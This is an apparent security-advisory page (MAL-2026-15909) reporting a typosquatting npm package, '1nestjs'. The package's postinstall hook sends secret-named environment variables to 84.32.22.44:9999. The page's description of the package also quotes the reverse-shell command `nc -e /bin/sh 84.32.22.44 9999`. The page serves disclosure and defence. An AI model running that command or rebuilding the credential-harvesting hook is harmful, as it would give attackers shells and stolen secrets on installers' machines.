Malicious code in 1nestjs (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43) Package name typosquats `nestjs` and declares `postinstall: node index.js` in package.json, so index.js runs automatically during `npm install`. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes `nc -e /bin/sh 84.32.22.44 9999`, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot"). ## Source: ossf-package-analysis (bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71) The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Malicious code in 1nestjs (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43) Package name typosquats `nestjs` and declares `postinstall: node index.js` in package.json, so index.js runs automatically during `npm install`. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes `nc -e /bin/sh 84.32.22.44 9999`, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot"). ## Source: ossf-package-analysis (bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71) The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-15909
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a9ad4ecacd9273b49b677bf
Added to database: 09/04/2026, 14:25:48 UTC
Last updated: 09/04/2026, 14:25:48 UTC
Views: 1
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.